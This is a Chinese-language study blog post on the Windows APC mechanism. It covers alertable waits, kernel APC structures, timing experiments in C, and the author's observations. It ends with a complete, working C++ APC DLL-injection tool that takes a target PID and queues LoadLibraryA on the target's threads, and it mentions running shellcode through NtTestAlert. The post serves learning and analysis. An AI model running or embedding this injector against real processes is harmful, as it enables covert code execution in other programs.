APC机制与注入
APC机制:
APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制
当使用 CreateThread
创建一个线程时,需要指定一个线程回调函数(入口函数),这是这个线程的主执行体。但是,APC是一个额外的机制,可以在不干扰该线程主任务的情况下,让该线程处理其他的异步操作。
通过APC,你可以在已经运行的线程中插入额外的操作,而不需要创建新的线程。线程会在某些合适的时刻处理APC请求,比如进入等待状态时。
用户模式下的 APC 需要线程主动进入等待状态或调用一些特定的函数才能触发其执行。这意味着线程必须进入某些特殊的状态才能执行 APC,比如调用以下这些函数时:
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
这些函数的特点是它们都有一个参数允许线程可被中断以执行 APC,即通过传递 TRUE
给它们的 “alertable” 参数。
如果线程一直在循环
在这种情况下,如果线程只是忙于执行一个循环任务,并且不调用任何支持 APC 的函数,APC 不会自动执行。这意味着,线程必须显式地调用某些 API 并进入可被中断的状态,否则 APC 无法被处理。
APC类型
APC 执行分为两种类型:
- 普通 APC(Normal APC):
- 只有当线程进入非等待状态,即线程返回到用户模式正常执行代码时,普通 APC 才会执行。
- 线程不需要处于可警醒状态(
Alertable
无需设置)。
- 警醒型 APC(Alertable APC):
- 在线程处于等待状态时,只有线程设置了可警醒(
Alertable = 1
),且等待操作允许警醒型 APC 中断,APC 才能被触发执行。
- 通常通过调用支持警醒的等待函数(如
WaitForSingleObjectEx
或 SleepEx
)。
就我当前学习到的, QueueUserAPC
只能插入 警醒型 APC(Alertable APC)。
在内核驱动可以调用KeInitializeApc
进行插入Normal APC
,此时线程不需要处于可警醒状态也可以执行APC
如果三环程序没有调用警醒型API,那么下面是一个思路:
由于线程初始化时会调用ntdll未导出函数NtTestAlert,NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行) APC注入以及几种实现方式 - 先知社区
APC执行时机
参考文章为APC的执行及执行时机 - PNPON内核开发
在内核KTHREAD结构体:
1 2 3 4 5 6
| nt!_KTHREAD ... +0x072 Alerted : [2] UChar ... +0x074 Alertable : Pos 4, 1 Bit ...
|
Alerted
的作用:
Alerted
字段表示线程是否被唤醒或者是否处于一个 可以被唤醒的状态。通常,当线程处于 等待状态(例如,调用了 Sleep
、WaitForSingleObject
等 API),如果线程被某些事件(如 APC、信号、事件等)唤醒时,Alerted
会被设置为 1
。
换句话说,Alerted
表示线程是否已经收到唤醒信号
Alertable
的作用:
**Alertable
**:决定线程是否能够处理警醒型 APC。只有当 Alertable
为 1
时,线程才会在唤醒时检查并执行 APC。
Alerted
被设置为 1
时,表示线程已被唤醒或可以被唤醒,这时,若线程的 Alertable
为 1
,它可以执行警醒型 APC。
而前面提到了APC的类型,警醒型APC就是与**Alertable
**息息相关
一般时机:
线程切换:当当前线程处于阻塞状态,比如等待用户输入或者等待磁盘IO完成时,操作系统可以选择在这个时机执行排队中的 APC。这样可以充分利用线程的等待时间,提高系统的并发性。
定时器:操作系统可以设置定时器,在特定的时间间隔或者时间点触发执行 APC。这在处理一些定时任务或者周期性的操作非常有用,比如定时刷新界面、定时发送心跳包等。
异步IO完成:当一个异步IO操作完成时,操作系统可以执行与该操作关联的 APC。这样可以在IO操作完成后立即执行后续的处理逻辑,而不需要主动轮询IO状态。( 完成例程(Completion Routine) )
信号量和事件:当某个信号量或者事件的状态发生改变时,操作系统可以执行与其关联的 APC。这在实现基于事件驱动的编程模型时非常有用,比如处理鼠标点击、键盘输入等。
系统调用返回。
实际测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <windows.h> #include <stdio.h>
VOID CALLBACK APCProc(ULONG_PTR dwParam) { printf("APC function executed with parameter: %d\n", (int)dwParam); }
DWORD WINAPI ThreadProc(LPVOID lpParam) { printf("Thread started\n");
for (int i = 0; i < 10; i++) { printf("Thread working: %d\n", i); Sleep(1000); }
printf("Thread finished\n"); return 0; }
int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); QueueUserAPC(APCProc, hThread, 123);
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
return 0; }
|
执行的结果长这样:
和我们刚刚说的理论貌似不一样,APC竟然先于线程主体执行了,可是不是说要等线程主体时间空出来了才能执行吗??
查阅资料,找到一个稍微靠谱的答案,说:
在 CreateThread
创建新线程时,线程的初始状态和调度时机可能会影响 APC 的执行顺序。在某些情况下,系统会在新线程尚未开始执行其主函数(ThreadProc
)之前,触发挂起的 APC。如果线程刚开始时还没有进入忙碌的状态,系统可能趁这个空档先处理了 APC。也就是说,系统可能会在线程真正进入循环之前处理 APC。
为了印证上面的说法,我们把main函数改一下,加了一个Sleep,让线程先跑以来,这样就可以保证线程主体是繁忙的了
1 2 3 4 5 6 7 8 9 10 11 12 13
| int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); Sleep(1); QueueUserAPC(APCProc, hThread, 123);
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
return 0; }
|
然后看看结果:
发现APC回调函数并没有被执行,所以证明线程从开始到结束都没有空闲时间给APC,所以APC不会被调用
那么如何解决呢?很简单,把Thread回调里面的Sleep改成SleepEx,这个函数允许在Sleep期间去执行APC
分析APC内核结构:
打开Windbg,在KTHREAD找到_KAPC _STATE
_KAPC _STATE长这样
1 2 3 4 5 6 7 8 9
| +0x000 ApcListHead[2]
+0x010 Process
+0x014 KernelApcInProgress
+0x015 KernelApcPending
+0x016 UserApcPending
|
在KTHREAD里面,还有_KAPC
NormalRoutine 会找到你提供的APC函数,并不完全等于APC函数的地址
通过刚刚那个队列结构,可以循环遍历到每一个KAPC结构,就能找到所有APC函数地址
用户APC是如何插入队列的
首先分析一下QueueUserAPC
是咋干活的
调用了QueueUserAPC2
在QueueUserAPC2
里面又调用了内核API NtQueueApcThreadEx2
去内核ntoskrnl.exe翻出这个API:NtQueueApcThreadEx2
调用了KeInitializeApc
初始化APC结构,然后又调用了KeInsertQueueApc
插入APC队列
这么来看,零环和三环都是通过KeInitializeApc
和KeInsertQueueApc
插入APC队列的
那么如何区分内核模式和用户模式呢?也就是看 KeInitializeApc
的参数的
1 2 3 4 5 6 7 8 9 10
| VOID NTAPI KeInitializeApc( _Out_ PRKAPC Apc, _In_ PETHREAD Thread, _In_ KAPC_ENVIRONMENT Environment, _In_ PKKERNEL_ROUTINE KernelRoutine, _In_opt_ PKRUNDOWN_ROUTINE RundownRoutine, _In_opt_ PKNORMAL_ROUTINE NormalRoutine, _In_ KPROCESSOR_MODE ApcMode, _In_opt_ PVOID NormalContext );
|
NormalRoutine
- 核心职责:
它是 真正的 APC 执行逻辑 的入口函数,可以执行具体的业务操作,例如修改线程的上下文、执行特定任务等。
它的执行上下文是由 ApcMode
决定的:
- KernelMode:在内核模式下运行。
- UserMode:在用户模式下运行。
实践发现资料不对
资料是这么说的:
在处理用户APC中,当产生休眠系统调用、中断或者异常,线程在返回用户空间前都会调用 KiServiceExit 函数,在 KiServiceExit 会判断是否有要执行的用户APC,如果有则调用 KiDeliverApc 函数(第一个参数为1)进行处理。
但是实践下来,普通的系统调用,异常处理中断并不会调用APC
实现下来我发现,能调用APC的的条件只有当线程显式进入可警报等待状态时,挂起的 APC 才有机会被执行。 就是那些能显式进入可报警状态的API
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
资料还说APC可以利用线程切换的间隙去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #include <windows.h> #include <stdio.h>
HANDLE hMutex;
VOID CALLBACK APCProc(ULONG_PTR dwParam) { printf("APC function executed with parameter: %d\n", (int)dwParam); }
DWORD WINAPI ThreadProc1(LPVOID lpParam) { for (int i = 0; i < 5; i++) { WaitForSingleObject(hMutex, INFINITE); printf("Thread 1 executing: %d\n", i); Sleep(500);
ReleaseMutex(hMutex);
} return 0; }
DWORD WINAPI ThreadProc2(LPVOID lpParam) { for (int i = 0; i < 5; i++) { WaitForSingleObject(hMutex, INFINITE); printf("Thread 2 executing: %d\n", i); Sleep(500);
ReleaseMutex(hMutex);
} return 0; }
int main() { hMutex = CreateMutex(NULL, FALSE, NULL);
HANDLE hThread1 = CreateThread(NULL, 0, ThreadProc1, NULL, 0, NULL); HANDLE hThread2 = CreateThread(NULL, 0, ThreadProc2, NULL, 0, NULL); Sleep(10); QueueUserAPC(APCProc, hThread1, 101); QueueUserAPC(APCProc, hThread2, 202);
WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE);
CloseHandle(hThread1); CloseHandle(hThread2); CloseHandle(hMutex);
return 0; }
|
但是实践下来,切换过程中貌似并没有APC执行
APC注入
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
|
#include <Windows.h> #include <iostream> #include <TlHelp32.h> #include <tchar.h>
BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; }
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) { EnableDebugPrivilege(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (hProcess == NULL) { return FALSE; } int nSize = strlen(pszDllName); LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T dwWrittenSize = 0; WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize); HMODULE hMod = GetModuleHandleA("kernel32.dll"); FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA"); THREADENTRY32 te = { 0 }; te.dwSize = sizeof(te); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL); if (hSnap == INVALID_HANDLE_VALUE) { return FALSE; } DWORD dwRet = 0; HANDLE hThread = NULL; if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == dwPid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (hThread) { dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)pDllAddr); hThread = NULL; } } } while (Thread32Next(hSnap, &te)); } CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnap); return TRUE; }
int main(int argc, char* argv[]) { if (argc == 3) { if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2])) printf("APCInject failed\n"); else printf("APCInject successfully\n"); } else { printf("\nUsage: %s <PID> <Dllpath>\n"); printf("Example: %s 520 C:\\test.dll\n"); } return 0; }
|
局限性:
当注入 APC 时,目标线程确实必须处于 可警报等待 状态(Alertable Wait)才能执行 APC。一般来说,常见的触发 APC 执行的系统调用包括:
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
- 以及其他一些支持可警报等待的函数
如果目标线程没有调用这些支持可警报等待的系统调用,APC 可能会一直悬而未决,不会被执行。这是因为 APC 的执行依赖于线程进入可警报状态,而常规的 Sleep
或 WaitForSingleObject
并不会触发 APC 执行。
实践了一下发现:
如果受害者程序是这样写的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include <windows.h> #include <iostream>
DWORD WINAPI ThreadProc(LPVOID lpParam) { while (1) { std::cout << "Thread is running: " << std::endl; SleepEx(1000,TRUE); } return 0; }
int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); if (hThread == NULL) { std::cerr << "Failed to create thread: " << GetLastError() << std::endl; return 1; }
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
std::cout << "Thread has finished." << std::endl; return 0; }
|
注入成功!
But,如果我们改一下,把SleepEx
改为Sleep
,看看效果如何
可以发现注入了,但是没有跑起来,这就是APC注入的一个局限性了